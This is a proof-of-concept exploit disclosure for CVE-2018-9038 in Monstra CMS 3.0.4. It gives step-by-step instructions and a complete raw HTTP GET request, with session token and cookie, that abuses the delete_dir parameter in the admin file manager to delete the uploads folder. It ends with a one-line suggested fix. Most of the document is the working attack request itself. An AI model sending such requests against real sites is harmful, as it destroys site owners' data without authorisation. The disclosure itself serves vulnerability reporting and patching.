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1.6 KiB
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44 lines
No EOL
1.6 KiB
Text
# Exploit Title: Monstra CMS 3.0.4 allows remote attackers to delete folder via an get request
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# Date: 2018-03-26
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# Exploit Author: Wenming Jiang
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# Vendor Homepage: https://github.com/monstra-cms/monstra
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# Software Link: https://github.com/monstra-cms/monstra
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# Version: 3.0.4
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# Tested on: macos 10.12.6, php 5.6, apache2.2.29
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# CVE :CVE-2018-9038
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Description:
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Monstra CMS 3.0.4 allows remote attackers to delete folder via an admin/index.php?id=filesmanager&delete_dir=./&path=uploads/ request.
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Steps to Reproduce:
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1、Log in as a user with page editing permissions
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2、Request http://your_site/admin/index.php?id=filesmanager&delete_dir=./&path=uploads
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3、The uploads folder will be deleted.
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Poc code:
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GET /monstra/admin/index.php?id=filesmanager&delete_dir=./&path=uploads/&token=008708df48237172f6fe2d173dc30529eac132de HTTP/1.1
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Host: localhost:8000
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.10 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
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Referer: http://localhost:8000/monstra/admin/index.php?id=filesmanager&path=uploads/
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Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
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Cookie: SQLiteManager_currentLangue=2; PHPSESSID=882dd1e203c979cedba4524f8107eca3; _ga=GA1.1.1742657188.1524382699; _gid=GA1.1.918663288.1524382699
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Connection: close
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Vulnerability Type:
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Insecure Permissions
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Expected Behavior:
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deleted uploads folder
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Possible Solutions:
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Strictly filter the delete_dir parameter and replace './' with '_/' |